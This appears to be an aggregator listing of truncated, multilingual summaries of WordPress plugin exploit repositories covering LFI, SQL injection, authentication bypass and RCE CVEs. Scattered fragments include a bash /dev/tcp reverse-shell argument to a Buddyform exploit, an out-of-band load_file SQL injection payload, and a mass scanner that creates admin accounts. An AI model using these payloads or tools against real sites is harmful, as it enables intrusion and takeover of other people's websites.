CVE-2025-4380

CVE-2025-4380 - Эксплойт Local File Inclusion LFI для плагина Ads Pro = 4.89 Описание Этот Python-эксплойт нацелен на плагин Ads Pro ≤ 4.89 для WordPress, уязвимый к Local File Inclusion LFI через AJAX-действие bsapreviewcallback. Неаутентифицированный злоумышленник может использовать эту...

CVE

CVE Разборы уязвимостей CVE-2025-67586, CVE-2025-67985, CVE-2025-67986 root@kitploit: -------------- CVE-2025-67586 Эксплойт PoC -------------- Название эксплойта: WordPress Plugin 5.2.0 - Нарушенный контроль доступа Ссылка на ПО: https://wordpress.org/plugins/highlight-and-share/ Версия: Описани...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 version5.8.3 путь：http://your target/wp-admin/admin-ajax.php Тип инъекции — out-of-band, вам нужно самостоятельно указать dnslog и заменить ceye.io POST-данные："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select...

CVE-2026-5118

CVE-2026-5118 CVE-2026-5118-expwordpressDivi Form Builder...

CVE-2026-8732-POC

CVE-2026-8732 - WordPress WP Google Map Pro 대량 스캐너 및 자동 관리자 생성기 📌 설명 이 도구는 WordPress용 WP Google Map Pro 플러그인의 취약점인 CVE-2026-8732 를 악용합니다. 이 취약점을 통해 인증되지 않은 공격자는 AJAX 엔드포인트admin-ajax.php?action=wpgmptempaccessajax를 통해 유효한 wpmptoken을 획득할 수 있습니다. 이 토큰을 사용하여 공격자는 WordPress 관리자 패널에 접근하고 새로운 관리자 사용자를 생...

CVE-2015-1579

CVE-2015-1579 - WP Revslider AFD Эксплойт: Wordpress Slider Revolution Responsive = 4.1.4: root@kitploit: Vuln Date: 24/07/2014 Exploit Author: anarc0der Version: Wordpress Slider Revolution Responsive = 4.1.4 CVE : CVE-2015-1579 Как использовать: root@kitploit: python3 xpl.py --url='target'...

CVE-2023-2744

Exploit Title: WP Plugins WP ERP = 1.12.2 - SQL Injection Date: 15-10-2023 Exploit Author: Arvandy Software Link: https://wordpress.org/plugins/erp/ Vendor Homepage: https://wperp.com/ Version: 1.12.2 Tested on: Windows, Linux CVE: CVE-2023-2744...

CVE-2024-50498

CVE-2024-50498 영향을 받는 버전 WP Query Console =1.0 크레딧 https://github.com/RandomRobbieBF/CVE-2024-50498 전제 쿼리 유형은 WPQuery이고 WP Query Console은 일부 PHP 함수를 실행합니다. 사용법 python .\CVE-2024-50498.py 192.168.41.163 --query "id"...

CVE-2018-7422

CVE-2018-7422 Эксплойт для CVE-2018-7422: Включение локального файла в плагине WordPress Site Editor 1.1.1 T1574.008 Синтаксис root@kitploit: ruby Лабораторное окружение OffSec Proving Grounds - Readys Использование...

CVE-2023-4861-PoC

CVE-2023-4861 PoC Этот репозиторий содержит Python-эксплойт PoC для CVE-2023-4861 — проблемы аутентифицированного удалённого выполнения кода в плагине WordPress File Manager Pro - Filester. Сводка по уязвимости CVE: CVE-2023-4861 Продукт: File Manager Pro - Filester filester Уязвимые версии: 1.8....

CVE-2026-6433

CVE-2026-6433 — 概念验证 FlipperCode — Custom CSS, JS & PHP · 未认证 SQL 注入 → RCE （通过 eval） 受影响：FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · 经 admin-ajax.php 暴露的 WordPress 插件攻击面 概览...

CVE-2023-6553-PoC

CVE-2023-6553 PoC LFI to RCE Backup Migration 워드프레스 플러그인에서의 인증되지 않은 원격 코드 실행. 실행 root@kitploit: $ python exploit.py 다음 PHP 스크립트가 실행됩니다. root@kitploit: out.txt; ? 참고 자료 Backup Migration 플러그인에서 발견된 심각한 인증되지 않은 원격 코드 실행 취약점...

CVE-2026-8181

EN: Burst Statistics의 인증 우회에 대한 승인된 보안 테스트를 위한 통제된 PoC 및 간단한 기술 노트입니다. TR: Burst Statistics 플러그인의 인증 우회에 대한 승인된 보안 테스트를 위한 통제된 PoC 및 간단한...

CVE-2025-2294

Kubio Page Builder LFI Exploit CVE-2025-2294 Эксплойт для Local File Inclusion LFI в плагине WordPress Kubio Page Builder версии ≤ 2.5.1. 📌 Описание Этот инструмент эксплуатирует неаутентифицированную уязвимость LFI в плагине Kubio Page Builder CVE-2025-2294, позволяя злоумышленникам читать...

CVE-2021-34646

CVE-2021-34646 PoC 이 취약점 세부 정보는 NVD 제공 WooCommerce용 Booster WordPress 플러그인의 5.4.3 이하 모든 버전은 /includes/class-wcj-emails-verification.php 파일에 있는 resetandmailactivationlink 함수의 무작위 토큰 생성 취약점으로 인해 processemailverification 함수를 통한 인증 우회에 취약합니다. 이로 인해 공격자는 사용자를 사칭하여 관리자 계정을 포함한 임의의 계정에 대한 이메일 주소 확인을...

exploit_cve-2021-29447

exploitcve-2021-29447 教育目的のみです。 このエクスプロイトは、wordpress 5.6.2 と php8 が動作しているサーバーから任意のファイルを取得するための、非常に便利なツールです。参照: https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5 必要なのは、基本的な wp-admin アクセスと、メディアファイルをアップロードできる権限だけです。 このエクスプロイトは、wp-admin を使ってアップロードするための .wav ファイルペイロードを生成します。...

CVE-2023-26326_Buddyform_exploit

python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' もともと、CVE-2023–26326 を悪用するには、デシリアライゼーションの脆弱性としてガジェットチェーンが必要でした。この手法は PHP 8+ で動作する新しい WordPress サイトではもはや使用できません。しかし、CVE-2024-2961https://www.ambionics.io/blog/iconv-cve-2024-2961-p1 と組み合わせることで、phar:// の代わりに php://filt...

cve-2025-22294

CVE-2025-2294 – Local File Inclusion LFI в WordPress-плагине Kubio AI Page Builder Ссылка на подробный райтап Ссылка на деплой Ссылка на сплойт Ссылка на файлы, для массовой проверки: Шаблон для активной проверки...

CVE-2025-60188-Atarim-Plugin-Exploit

CVE-2025-60188-Atarim-Plugin-Exploit CVE-2025-60188: Atarim プラグインにおける HMAC 偽造による認証バイパス 概要 このリポジトリには、Atarim WordPress プラグインで発見された重大な脆弱性 CVE-2025-60188 に関する Proof of Concept（PoC）と技術的分析が含まれています。この欠陥により、認証されていないユーザーがセキュリティ対策を迂回し、機密性の高いシステム情報にアクセスできるようになります。 技術的説明 この脆弱性は、HMAC...

CVE-2021-29447

CVE-2021-29447 PoC Этот репозиторий содержит доказательство концепции PoC эксплуатации уязвимости CVE-2021-29447 , затрагивающей WordPress 5.6 и 5.7 с PHP 8. Эксплойт показывает, как атакующий, имея возможность загружать файлы, может использовать уязвимость парсинга XML в Медиатеке, что приводит ...